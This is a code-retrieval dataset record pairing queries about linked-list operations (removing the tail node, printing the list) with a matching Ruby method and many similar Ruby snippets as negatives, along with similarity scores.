[ "0.83078945", "0.82473487", "0.82388455", "0.8128866", "0.80914295", "0.80732775", "0.8063922", "0.8050075", "0.7922698", "0.7917784", "0.7903831", "0.7897407", "0.7881819", "0.78765535", "0.78673124", "0.7863668", "0.78496134", "0.7802962", "0.77256835", "0.7721887", "0.7711469", "0.77093464", "0.77003163", "0.76743674", "0.76709074", "0.76642406", "0.7650014", "0.7645052", "0.7633311", "0.75925124", "0.7587009", "0.7583225", "0.75371474", "0.7506127", "0.74629784", "0.74311376", "0.7421519", "0.7411531", "0.7404846", "0.7401956", "0.7399568", "0.7381992", "0.73657626", "0.7317815", "0.7259605", "0.72399604", "0.7191651", "0.7179171", "0.71730995", "0.70950264", "0.7060351", "0.7043586", "0.7026774", "0.7014643", "0.7012364", "0.6965855", "0.6941224", "0.69400185", "0.6900635", "0.6881785", "0.68743443", "0.6858745", "0.6858745", "0.6858745", "0.6852851", "0.6852008", "0.68374443", "0.68128014", "0.6811701", "0.6791051", "0.6791051", "0.6771766", "0.676771", "0.67658013", "0.6737103", "0.6686173", "0.66784114", "0.66745985", "0.66731215", "0.66612905", "0.6650484", "0.6649805", "0.6637748", "0.6612904", "0.6609982", "0.6603216", "0.6600875", "0.6593381", "0.6588936", "0.6582321", "0.6582321", "0.6551998", "0.65512794", "0.65439236", "0.65255594", "0.6495336", "0.64887387", "0.6482663", "0.6482663", "0.64771515", "0.6474269" ]
0.0
-1
This method removes the last node in the lists and must keep the rest of the list intact.
def remove_tail if @head == @tail @head = @tail = nil else placeholder = @head while placeholder.next != @tail placeholder = placeholder.next end placeholder.next = nil @tail = placeholder end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pop() #delete last element in the LL\n return nil if @head == nil #if list is empty return nil\n return @head = nil if self.list_size == 1 #list has 1 element(head) assign head to nil\n temp_node = @head #if list has more then 1 element, travres till last element\n #stop conditon is when second element from current link to nil, means that first\n #from current is last element in the list\n until temp_node.link.link == nil \n temp_node = temp_node.link\n end\n temp_node.link = nil #cat the link with last element by assigning previous link to nil\n end", "def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end", "def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end", "def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n @tail = @tail.prev_node\n @size -= 1\n\n # removes the same element from @head, if it was final element/node\n if empty?\n @head = nil\n else\n # send to garbage collector\n @tail.next_node = nil\n end\n\n return data\n end", "def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n \n if size < 2\n return remove_first\n else\n each_cons(2) do |node, next_node|\n if next_node.next_node == nil\n @tail = node\n @tail.next_node = nil\n break\n end\n end\n end\n\n @size -= 1\n\n return data\n end", "def remove_last_child\n @elements.pop\n end", "def pop\n return if list == nil\n\n lastElem = nil\n if list.nextNode == nil\n lastElem = list\n @list = nil\n else\n node = @list\n while (node != nil)\n if (node.nextNode != nil && node.nextNode.nextNode == nil)\n lastElem = node.nextNode\n node.nextNode = nil\n break\n end\n node = node.nextNode\n end\n end\n lastElem\n end", "def remove_tail\n\n current_node = @head\n if @head == nil #empty lit\n return nil\n end\n if @head.next == nil #list of one\n temp = @head\n @head = nil\n @tail = nil\n return temp\n end\n while(current_node.next.next) #to traverse the list\n current_node = current_node.next\n end\n temp_two = current_node.next\n current_node.next = nil\n @tail = current_node\n return temp_two\n end", "def remove_tail\n remove_node(@tail)\n end", "def remove_tail\n if self.head == nil # does nothing to an empty list\n return nil\n end\n \n delete (self.tail) # otherwise, deletes the tail\n end", "def delete_tail\r\n delete_node @tail\r\n end", "def remove_tail\n # Loop through the nodes until gets to the last node\n temp_node = @head\n\n if temp_node == @tail\n @head = nil\n @tail = nil\n else\n while temp_node.next != @tail\n temp_node = temp_node.next\n end\n\n @tail = temp_node\n end\n end", "def remove_last\n raise 'No such element' if @size == 0\n elt = @tail.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @tail = @tail.previous\n @tail.next.previous = nil\n @tail.next = nil\n end\n @size -= 1\n return elt\n end", "def pop\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.next_node.nil?\n last_node = current_node.next_node\n current_node.next_node = nil\n end\n last_node\n end", "def pop\n current = @head\n\n # loop to second to last element of list\n until current.next_node == tail\n current = current.next_node\n end\n\n # update tail\n @tail = current\n\n # set next_node to nil\n current.next_node = nil\n end", "def remove_tail\n if @current == @tail\n @head = nil\n @tail = nil\n else\n search_until(@tail)\n @tail = @current\n end\n end", "def remove_at_tail\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\tprevious_element = @head\n\n\t\t\tuntil element.next.nil?\n\t\t\t\tprevious_element = element\n\t\t\t\telement = element.next\n\t\t\tend\n\n\t\t\tprevious_element.next = nil\n\t\t\telement\n\t\tend", "def remove_tail\n if self.head == self.tail\n self.tail = nil\n self.head = nil\n elsif self.head != nil\n current = self.head\n while current.next != self.tail\n current = current.next\n end\n current.next = nil\n self.tail = current\n end\n end", "def remove_tail\n current_node = self.head\n if current_node == self.tail\n self.head = nil\n self.tail = nil\n else\n while current_node.next != self.tail\n current_node = current_node.next\n end\n self.tail = current_node\n current_node.next = nil\n end\n end", "def reverse!\n old_list = self\n new_list = List.new(self.last_node)\n previous_node = self.get_previous_node(self.last_node)\n old_list.remove(old_list.last_node)\n reverse_util(old_list, new_list, previous_node)\n end", "def pop\n each_with_index do |node, index|\n if index == self.size - 2\n @tail = node\n @tail.next_node = nil\n end\n end\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_list_position(nil)\n end\n end", "def remove_tail\n current_tail = self.tail\n current_head = self.head\n if current_head != current_tail\n current = self.head\n until current.next == current_tail\n current = current.next\n end\n current.next = nil\n self.tail = current\n else\n self.tail = nil\n self.head = nil\n end\n end", "def remove_tail\n retval = self.tail\n if self.head == self.tail\n self.head = nil\n self.tail = nil\n return retval\n end\n node = self.head\n until node.next == retval do\n node = node.next\n end\n node.next = nil\n self.tail = node\n return retval\n end", "def remove_tail\n if @head === @tail #if there is only one node\n @head = nil\n @tail = nil\n else # iterate over linked list\n current_node = @head\n # check to see if current_node is not NIL && that the next node is not the tail node\n while ((!current_node.nil?) && (current_node.next != @tail)) do\n current_node = current_node.next\n end\n @tail = current_node\n @tail.next = nil\n end\n end", "def remove_tail\n if @head\n node_being_chkd = @head\n while node_being_chkd && (node_being_chkd.next != @tail)\n node_being_chkd = node_being_chkd.next\n end\n @tail = node_being_chkd\n @tail.next = nil if @tail\n else\n nil\n end\n end", "def pop\n\t\tcurrent_node = @head \n\t\tif current_node.next_node == nil \n\t\t\t@head = nil \n\t\tend \n\t\tuntil current_node.next_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = nil \n\tend", "def remove_tail\n if self.head.next == nil\n self.head = nil\n self.tail = nil\n else\n temp = self.head\n while temp && (temp.next.next != nil)\n temp = temp.next\n end\n temp.next = nil\n self.tail = temp\n end\n end", "def reverse\n\n\t\treturn if @head.nil?\n\n\t\ttemp = self.remove_node\n\t\ttemp.next = nil\n\t\t@last = temp\n\n\t\tuntil @head.nil?\n\n\t\t\tnode = self.remove_node\n\t\t\tnode.next = temp\n\t\t\ttemp = node\n\n\t\tend\n\n\t\t@head = temp\n\n\tend", "def remove_from_list\n # if in_list?\n # decrement_positions_on_lower_items\n # update_attribute position_column, nil\n # end \n return unless in_list?\n decrement_positions_on_lower_items\n update_attribute position_column, nil \n end", "def remove_tail\n if self.head == nil\n p \"There isn't anything in the linked list\"\n elsif self.head.data == self.tail.data\n self.head = nil\n self.tail = nil\n else\n temp_node = self.head\n while temp_node.next != self.tail\n temp_node = temp_node.next\n end\n self.tail = temp_node\n end\n end", "def deletelist\n if @head == nil\n puts \"List deleted\"\n end\n\n tmp = @head\n while(@head != nil)\n tmp = tmp.next\n @head.next = nil\n @head = tmp\n end\n end", "def remove_tail\n if self.head != nil && self.head.next != nil\n previous = nil\n current = self.head\n while current.next != nil\n previous = current\n current = current.next\n end\n previous.next = nil\n self.tail = previous\n else\n self.tail = nil\n end\n end", "def remove_last\n # if the head is nil, then we just return nil\n return nil if head.nil?\n # if it's only one node, thet remove_last is equal to pop\n return pop if head.next_node.nil?\n\n # we keep searching for the next node until\n # current.next_node is nil\n prev = @head\n current = @head\n\n while !current.next_node.nil?\n prev = current\n current = current.next_node\n end\n # since current.next_node is nil, we just\n # disconnect it and update the tail reference\n prev.next_node = nil\n @tail = prev\n return current.value\n end", "def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n node = @head\n until ((node.nil?) && (node.next.eql?(@tail))) do\n node = node.next\n end\n @tail = node\n @tail.next = nil\n end\n end", "def ll_pop()\n current = @head\n \n if @num_nodes == 0\n return nil\n elsif @num_nodes == 1\n @head = nil\n @tail = nil\n else\n second = @head.get_Next()\n @head = second\n end\n \n @num_nodes -= 1\n return current.get_Data()\n end", "def remove_from_list\n return unless in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end", "def pop\n node = last\n last = node.prv\n last.nxt = nil\n node.prv = nil\n node\n end", "def remove_tail\n if self.tail.nil?\n return nil\n elsif self.head.next.nil?\n self.tail = nil\n else\n current_node = self.head\n until current_node.next == self.tail\n current_node = current_node.next\n end\n current_node.next = nil\n self.tail = current_node\n end\n end", "def pop\n last = find_tail.data\n node = find_before(last)\n node.next = nil\n end", "def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n current = @head\n while ((current != nil) && (current.next != @tail)) do\n current = current.next\n end\n @tail = current\n @tail.next = nil\n end\n end", "def pop\n last_node = self.tail\n self.at(self.size - 2).next_node = nil\n return last_node\n end", "def remove\n return @exact.shift unless @exact.empty?\n @list.shift\n end", "def pop\n return nil if @head.nil? || self.size == 0\n current_node = @head\n prev_node = nil\n (self.size - 1).times do\n prev_node = current_node\n current_node = current_node.next\n end\n current_node = nil\n @tail = prev_node\n end", "def remove_at_head\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\[email protected] = nil || element.next\n\t\t\telement\n\t\tend", "def pop\n list.pop\n end", "def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n current_node = @head\n while current_node.next != @tail\n current_node = current_node.next\n end\n current_node.next = nil\n @tail = current_node\n end\n end", "def remove_tail\n if self.head.nil? || self.head.next.nil?\n self.tail = nil\n else\n last_node = self.head\n prev_to_last = nil\n\n until last_node.next.nil?\n prev_to_last = last_node\n last_node = last_node.next\n end\n\n prev_to_last.next = nil\n self.tail = prev_to_last\n return prev_to_last\n end\n end", "def pop\n last = size\n at(last - 2).next_node = nil\n end", "def delete_tail\n # Create a var to hold the current_node; init with head\n current_node = @head\n\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # AND if that next has a next\n while current_node.next.next\n # Reassign current node to point to its next until current is second to last node\n current_node = current_node.next\n end\n\n # Current is now second to last node\n # Set current's next to nil, destroying the reference to the last node, the tail\n current_node.next = nil\n else\n # If there's just one node, it's both head and tail, set its value to nil\n @head.value = nil\n end\n\n # Decrement in all cases\n @size -= 1 if size > 0\n # Return the new tail or an empty head\n current_node\n end", "def pop\n node = self.double_link_linked_list.delete_tail\n node ? node.value : nil\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node.prev_node == nil\n return remove_last if node.next_node == nil\n\n # tell adjacent nodes to 'skip' over this node\n node.next_node.prev_node = node.prev_node\n node.prev_node.next_node = node.next_node\n\n # store the data, so we can return it\n data = node.data\n\n # send to garbage collector\n node.data = nil\n node = node.prev_node = node.next_node = nil\n\n @size -= 1\n\n return data\n end", "def pop\r\n removed_item = @data\r\n @data = @data.next_node\r\n removed_item.next_node = nil\r\n removed_item\r\n end", "def remove_tail\n if @tail === nil # if no tail\n return nil\n elsif @head.next === nil # if list is only head\n @tail = nil\n else # cycle thru to remove\n current_node = @head\n while current_node.next != @tail\n current_node = current_node.next\n end\n current_node.next = nil\n @tail = current_node\n end\n end", "def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end\n end", "def pop\n return nil if @head.nil?\n if self.size > 1\n @tail = self.at(self.size-1) \n @tail.next = nil\n else # only 1 node\n @tail = @head = nil\n end\t\n end", "def pop\n current_node = @head\n until current_node.next_node.nil?\n previous_node = current_node\n current_node = current_node.next_node\n end\n previous_node.next_node = nil\n @tail = previous_node\n current_node \n end", "def remove_last_component()\n remove_component_at(index: @child_components.size - 1)\n end", "def remove(index)\n @size -= 1\n if index == 0\n @first_item = @first_item.next_list_item\n else\n previous_item = get_item( index -1)\n next_list_item = previous_item.next_list_item.next_list_item\n previous_item.next_list_item = next_list_item\n #get_item( index - 1).next_list_item = nil\n # return @first_item = @first_item.next_list_item if index == 0\n # item = @first_item\n # (index - 1).times do\n # item = item.next_list_item\n # # puts \"(((((((()))))))))))))((((((((((((((@item))))))))))))))\"\n # # puts @first_item.payload\n # # puts\"((((((((((((((item.next_list_Item)))))))))))))\"\n # # puts item.payload\n # end\n # raise IndexError if item.nil?\n # item.next_list_item = item.next_list_item.next_list_item\n end\nend", "def pop\n\t\t\t\tif @length == 0\n\t\t\t\t\traise RuntimeError.new(\"Cannot pop from empty list.\")\n\t\t\t\telse\n\t\t\t\t\tif @tail.prev == nil\n\t\t\t\t\t\t# there is only one element\n\t\t\t\t\t\t@head = nil\n\t\t\t\t\t\t@tail = nil\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected] = nil\n\t\t\t\t\t\t@tail = @tail.prev\n\t\t\t\t\tend\n\t\t\t\t\t@length -= 1\n\t\t\t\tend\n\t\t\tend", "def delete_at_index(index)\n if @llist\n if index == 0\n @llist = @llist.next_node\n else\n node = get(index)\n prev_node = get(index-1)\n prev_node.add_next_node node.next_node\n end\n else\n# todo: handle unknown index\n end\n end", "def accept_list_end list\n @list_index.pop\n @list_type.pop\n @list_width.pop\n end", "def pop\n node_count = self.size\n\n @tail = self.at(node_count-2) #-2 because of how size works\n @tail.next_node = nil\n end", "def remove_tail\n if (@head == @tail)\n @head = nil\n @tail = nil\n elsif (@head.next == @tail)\n @head.next = nil\n @tail = @head\n else\n current = head\n while(current.next != nil && current.next != @tail)\n current = current.next\n end\n @tail = current\n end\n end", "def del_final\n @tail = @tail.node_ant\n if @tail != nil\n @tail.edi_sig(nil)\n else\n @head = @tail\n end\n end", "def pop\n if @size==1\n \t@root=nil\n \t@tail=nil\n \t@size-=1\n elsif @size>1\n \t#want second to last element\n node=at(@size-2)\n node.next_node=nil\n @tail=node\n @size-=1\n end\n\n end", "def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end", "def remove_tail\n return nil if @head == nil\n\n node = @head\n popped = @tail\n if @head == @tail\n @head = nil\n @tail = nil\n else\n until node.next == @tail\n node = node.next\n end\n @tail = node\n @tail.next = nil\n end\n end", "def pop\n if size == 1\n @head.next_node = nil\n else\n current = @head.next_node\n previous = @head\n\n while current.next_node != nil\n current = current.next_node \n previous = previous.next_node\n end\n\n previous.next_node = nil\n end\n end", "def pop\n previous_node = nil\n current_node = @head\n while current_node.next_node != nil\n previous_node, current_node = current_node, current_node.next_node\n end\n previous_node.next_node = nil\n @tail = previous_node\n end", "def remove_topmost_node\n (@n = @open.shift)\n @closed << @n\n @full_path << @n\n end", "def erase_tail()\n aux = @tail[:next]\n aux[:prev] = nil\n @tail = aux\n end", "def remove_next prev_node\n\t\treturn nil unless self.length > 0\n\n unless prev_node\n # remove head.\n self.head = self.head.next\n else\n self.hash.delete(prev_node.next.data)\n if prev_node.next == prev_node\n self.head = nil\n else\n old = prev_node.next\n prev_node.next = prev_node.next&.next\n if (old == self.head)\n self.head = old.next\n end\n end\n end\n\n \tself.length -= 1\n\tend", "def remove\n @nxt.prv = @prv if @nxt\n @prv.nxt = @nxt if @prv\n end", "def remove_at(index)\n return nil if @head.nil? || index > self.size - 1\n if index == 0\n @head = @head.next\n elsif index == self.size - 1\n self.pop(node)\n else\n current_node = @head\n prev_node = nil\n index.times do\n prev_node,current_node = current_node,current_node.next\n end\n end\n prev_node.next = current_node.next\n end", "def remove_tail\n return @tail if @tail.nil?\n\n old_tail = @tail\n @tail = @tail.prev_node\n\n unless @tail.nil?\n @tail.next_node = nil\n else\n @head = @tail\n end\n\n old_tail\n end", "def remove_max(list, last_pos)\n removed = list[0]\n list[0] = list[last_pos] \n list[last_pos] = removed\n heap_down(0, last_pos - 1, list)\nend", "def pop\n current_node = @head\n if current_node.next_node.nil?\n @head.nil?\n else\n while current_node.next_node\n previous = current_node\n current_node = current_node.next_node\n end\n previous.next_node = nil\n end\n end", "def remove_at(index)\n\t return false if @head.nil? || index > self.size \n\n\t if self.size == 1 || index == self.size #only one node or the last one\n\t self.pop \n\t elsif index == 1 # first node in the list: shift\n\t\t @head = @head.next\n\t else\t\n\t temp_node = self.at(index)\n\t node_ant\t= self.at(index-1)\n\t node_ant.next = temp_node.next\n\t temp_node.next = nil\n end\n return true\t \n\tend", "def remove node\n return nil unless node \n # If the node we have to remove is the head of the list, we need to cover two situations\n if node == head\n # Head is the only node in the list. We set head and tail to nil and we are done\n if head.next.nil?\n self.head = self.tail = nil\n else\n # Head is not the only node in the list. \n # The node that’s next to head becomes the new head and the original head goes out of scope.\n self.head = self.head.next\n end\n else\n p = node.prev\n n = node.next\n p&.next = n\n n&.prev = p\n end\n self.length -= 1\nend", "def clean_list(timestamp)\n while @tail && @tail.timestamp <= timestamp - 10\n @message_to_node.delete(@tail.message)\n @tail = @tail.next\n @tail&.prev = nil\n end\n\n unless @tail\n @head = nil\n end\n end", "def unlink \n @lnode.unlink unless @lnode.nil?\n end", "def remove_next prev_node\n\t\treturn nil unless self.length > 0\n\n unless prev_node\n # remove head.\n self.head = self.head.next\n else\n if prev_node.next == prev_node\n self.head = nil\n else\n old = prev_node.next\n prev_node.next = prev_node.next&.next\n if (old == self.head)\n self.head = old.next\n end\n end\n end\n\n \tself.length -= 1\n\tend", "def delete_last()\n \n end", "def extract_tail\n raise \"Error la lista no puede estar vacia\" unless (@nodos > 1)\n penultimo = @tail.prev\n penultimo.next = nil\n @nodos = @nodos-1\n oldtail = @tail\n @tail = penultimo\n oldtail\n end", "def ll_clear()\n @head = nil\n @tail = nil\n @num_nodes = 0\n end", "def remove_at(i)\n \t if @size==0 || i<0 || i>=@size\n \t \treturn nil\n \t end\n \t if i==0 && @size==1\n \t \t@root=nil\n \t \t@tail=nil \n \t elsif i==0\n @[email protected]_node\n else\n \tpre_node=at(i-1)\n \ti_node= pre_node.next_node\n \tpre_node.next_node=i_node.next_node\n if i==@size-1#if last element was removed, update tails\n @tail=pre_node\n end\n end\n @size-=1\n\n end", "def pop\n node = @head\n if @size > 1\n node = node.link until node.link.link.nil?\n node.link = nil\n else \n @head = nil\n end\n @size -= 1\n end", "def reverse_linked_list(list)\n last_node = list.find_last_node\n current_index = list.index_of(last_node.data)\n loop do\n if current_index == 0\n list.find_node(current_index).next_node = nil\n break\n end\n list.find_node(current_index).next_node = list.find_node(current_index - 1)\n current_index -= 1\n end\n list.first_node = last_node\nend", "def pop_back\n return nil if @size.zero?\n\n if @size == 1\n temp = @head.data\n @head = @tail = nil\n else\n temp = @tail.data\n @tail.prev.next = nil\n @tail = @tail.prev\n end\n @size -= 1\n temp\n end", "def pop\n\t@new_tail = at((size) - 2)\n\t@new_tail.next_node = nil\n\n\t@tail = @new_tail\t\n\tend", "def delete(node)\n examined_node = @head\n after_examined_node = @head.next\n\n if examined_node == node #to be deleted item is first on the list\n remove_front()\n elsif node == @tail\n remove_tail()\n else\n\n while examined_node != node\n before_examined_node = examined_node\n\n if examined_node.next == nil\n\n else\n\n examined_node = examined_node.next\n end\n after_examined_node = examined_node.next\n\n if examined_node == node\n temp = before_examined_node\n before_examined_node.next = after_examined_node\n end\n end\n end\n end", "def remove_at(index)\n if index == 0\n @head = @head.next_node\n elsif index == self.size - 1\n self.pop\n else\n previous = self.node_at(index - 1)\n current = self.node_at(index)\n previous.next_node = current.next_node\n end\n end", "def pop\n if head == nil\n \"Nothing to remove\"\n else\n prev = nil\n cur = head\n while cur.next_node != nil\n prev = cur\n cur = cur.next_node\n end\n prev.next_node = nil\n end\n end", "def pop\n return nil unless self.length > 0\n \n self.head = self.head.next\n self.tail = nil if self.length == 1\n self.length -= 1\n end", "def pop\n if(self.size == 0)\n return false\n end\n popped_node = self.first\n new_first = popped_node.next\n if(!new_first)\n self.last = new_first\n end\n popped_node.next = nil\n self.first = new_first\n self.size -= 1\n\n #pretty_print_node(popped_node)\n return popped_node\n end", "def remove_at(index)\n self.at(index - 1).next_node = self.at(index + 1)\n self.at(index).next_node = nil\n end", "def remove_first\n old_head = @head\n @head = @head.next_node unless @head.nil?\n @head.prev_node = nil unless @head.nil?\n old_head\n end", "def remove_at(index)\n if index == 0\n @head = cur.next_node\n elsif index >= self.size\n pop\n else\n prev = nil\n cur = head\n i = 0\n until i == index\n prev = cur\n cur = cur.next_node\n i += 1\n end\n prev.next_node = cur.next_node\n end\n end" ]
[ "0.7568641", "0.7224027", "0.7224027", "0.71167296", "0.7110339", "0.70931035", "0.6979028", "0.6891833", "0.68793046", "0.6867553", "0.68380266", "0.6771133", "0.6754616", "0.67509097", "0.6727357", "0.6705762", "0.66904026", "0.6668838", "0.6598453", "0.65727836", "0.6558436", "0.65543306", "0.6549081", "0.65394336", "0.6531636", "0.65246534", "0.6515346", "0.6504391", "0.65013784", "0.6491674", "0.6480014", "0.64515686", "0.6446075", "0.64361995", "0.6433103", "0.64273936", "0.64093095", "0.63969153", "0.6391389", "0.6386491", "0.6374435", "0.6368999", "0.63665366", "0.6366363", "0.6366068", "0.6364193", "0.6357509", "0.6346855", "0.63342863", "0.63336235", "0.6326623", "0.6325298", "0.6298882", "0.6297639", "0.6271765", "0.62699056", "0.6269662", "0.62522906", "0.6248358", "0.6246419", "0.6245889", "0.62431747", "0.624204", "0.62376666", "0.62348235", "0.62174654", "0.62016785", "0.61950344", "0.61823", "0.61711776", "0.6154828", "0.6145809", "0.6145729", "0.61451656", "0.61374134", "0.6132557", "0.612462", "0.61191094", "0.61186165", "0.6104365", "0.6101663", "0.6098504", "0.6096693", "0.6095283", "0.60880536", "0.6083934", "0.608325", "0.60791546", "0.6077842", "0.6064055", "0.60574967", "0.60335195", "0.6028583", "0.60285723", "0.60278094", "0.6015298", "0.6013288", "0.60109025", "0.6009911", "0.60044456" ]
0.6612462
18
This method prints out a representation of the list.
def print placeholder = @head list = "" while placeholder.next list += placeholder.data + "\n" placeholder = placeholder.next end list += placeholder.data + "\n" # the plus "\n" added because of the way the spec is written. printf list end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_list; end", "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end", "def print_list\n @list.each { |item, qty| puts \"#{qty} #{item}\" }\n end", "def print_list\n\t puts \"\"\n\t puts \"\"\n\t\tputs \"#{@list_name}\"\n\t\tprint \"-\" * 40\n\t\t@grocery_list.each {|k, v| puts \"#{k} #{v}\"}\n\t\tputs \"\"\n\t\tget_item\n\tend", "def to_s\n printed_list = \"\"\n @list.each do |item, quantity|\n printed_list += \"#{quantity} #{item}\\n\"\n end\n return printed_list\n end", "def print_list\n \t\tputs \"\\n----------------------------\"\n \t\tputs \"#{@date_created.month}/#{@date_created.day}/#{date_created.year}\"\n \t\tputs \"Your Grocery List:\\n\\n\" \t\t\n \t\tif @list.empty?\n \t\t\tputs \"The List Is Empty!\"\n \t\telse\n\n \[email protected]_with_index { |item, index| puts \"#{index+1}. #{item.qty} #{item.name}\" }\n end\n puts \"\\n----------------------------\"\n end", "def display (list)\n\tputs list\nend", "def print(list)\n\tputs list\nend", "def print_list\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\t\tloop do\n\t\t\tputs \"Node at index #{counter}: #{current_node.data}\"\n\t\t\tbreak if current_node.next.nil?\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\tend", "def print_list(list)\n\tputs \"\\nHere is the list:\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "def print_list(list)\n\tputs \"\\nHere is the list:\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "def pretty_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"There are #{quantity} #{item} on the grocery list.\"\n\tend\nend", "def print_list(list)\n\tlist.each do |item,quantity|\n\t\tp \"#{quantity} #{item}\"\n\tend\nend", "def pretty_in_print(list)\n puts \"---------------------------------------\"\n puts \"These are the items we are gonna buy\"\n list.each {|item, qty| puts \"#{qty} pieces of #{item}\" }\nend", "def display_list(list)\n\tlist.each do |list_item|\n\t\tputs \"* #{list_item}\"\n\tend\n\nend", "def print_items\n @items.each { |item| print \"#{item} \"}\n puts \"\\n\"\n end", "def print_list(list)\n\tlist.each do |item, quantity| puts \"#{item}: #{quantity}\"\n\t\t\n\tend\nend", "def toString\n\t\tif (!@head)\n\t\t\tputs \"Empty List\\n\\n\"\n\t\telse\n\t\t\tcurrent = @head\n\t\t\tstring = \"Head->\"\n\t\t\twhile (current)\n\t\t\t\tstring += current.get_item().to_s + \"->\"\n\t\t\t\tcurrent = current.get_next()\n\t\t\tend\n\t\t\tstring += \"End\\n\\n\"\n\t\t\tputs \"List of Size: \" [email protected]_s\n\t\t\tputs string\n\t\tend\n\tend", "def print_list(list)\n\tlist.each do |x,y|\n\t\tputs x + \": \" + y.to_s\n\tend\nend", "def print_list(list)\n\tlist.each do |x,y|\n\t\tputs x + \": \" + y.to_s\n\tend\nend", "def pretty_list(list)\n\tlist.each { |item_name, item_quantity|\n\t\tputs \"You will need to purchase #{item_quantity} of #{item_name}.\"\n\t}\nend", "def print_list(list)\n puts \"List: #{list['name']}\"\n print_separator\n\n list[\"items\"].each do |item|\n puts \"\\tItem: \" + item['name'] + \"\\t\\t\\t\" +\n \"quantity: \" + item['quantity'].to_s\n end\n\n print_separator\nend", "def print_list(list)\r\n puts \"-\"*20\r\n list.each do |item,quantity|\r\n puts \"Item:#{item} quantity:#{quantity}\"\r\n end\r\n puts \"-\"*20\r\n list\r\nend", "def print_list\n $list.each {|list_item| puts \"#{list_item[:quantity]} #{list_item[:item]}\"}\nend", "def pretty_print(list)\n list.each {|item, quantity| puts \"#{item} : #{quantity}\"}\nend", "def print_list(type='all')\n\n\t\tputs \"{#name} List - #{type} items\"\n\t\tprint '-' * 30 + \"\\n\"\n\n\n\n\t\ttodo_items.each do |item|\n\t\t\tcase type\n\t\t\twhen 'all'\n\t\t\tputs item\n\t\twhen 'complete'\n\t\t\tputs item if item.complete?\n\t\twhen 'incomplete'\n\t\t\tputs item unless item.complete?\n\t\tend\n\t\tend\n\tend", "def print\n \tlist = ''\n \tcurrent = @head\n \twhile !current.nil?\n list = list + \"#{current.value}\"\n list = list + ' ' if current.next != nil \n current = current.next\n \tend\n \tlist\n end", "def show_list\n\t\tclear\n\t\tputs \"= LISTE DES INSTANCES #{name} =\".bleu\n\t\tputs \"\\n\\n\"\n\t\tlen_delim = defined?(LIST_ENTETE) ? LIST_ENTETE.length + 2 : 80\n\t\tdelim = (\"-\"*len_delim).bleu\n\t\tif defined?(LIST_ENTETE)\n\t\t\tputs delim\n\t\t\tputs LIST_ENTETE \n\t\tend\n\t\tputs delim\n\t\tall.each do |inst|\n\t\t\tputs \" #{inst.to_console}\"\n\t\tend\n\t\tputs delim\n\t\tputs \"\\n\\n\"\n\tend", "def print_list(list)\n\tputs \"----- Shopping List -----\"\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\n\treturn list\nend", "def inspect\n result = 'Immutable::List['\n each_with_index { |obj, i| result << ', ' if i > 0; result << obj.inspect }\n result << ']'\n end", "def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend", "def pretty_list(list)\n list.each do |item,quantity|\n p \"#{item}! You have #{quantity}.\"\n end\nend", "def pretty_list(list)\r\n\tlist.each { |item, quantity| puts \"Item: #{item.capitalize} - Amount: #{quantity}\" }\r\nend", "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item}, amount: #{quantity}\"\n\tend\nend", "def print_item_list\n @current_items.each_with_index do |item, item_no|\n puts \"Item #{item_no+1}\"\n puts \"----------------\"\n puts \"Item Name: #{item.name}\"\n puts \"----------------\"\n end\n end", "def look_pretty(list)\n puts \"Here is your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "def print_list(list)\n\tlist.each do |item, qty|\n\t\tputs \"#{item} = #{qty}\"\n\tend\nend", "def print_pretty(new_list)\n puts \"Grocery List:\"\n new_list.each do |item, amount|\n \n puts \"#{item}: #{amount}\"\n end\nend", "def print_list(list)\r\n puts \"Here is your current list: \"\r\n list.each do |item, quantity|\r\n puts \"#{item}: #{quantity}\"\r\n end\r\nend", "def showlist\n\t\t@people_list.each do |x|\n\t\t\tputs \"* #{capitalize(x.type)}, #{capitalize(x.name)}, #{capitalize(x.party)}\"\n\t\tend\n\tend", "def print_list(list)\n\tputs \"Grocery 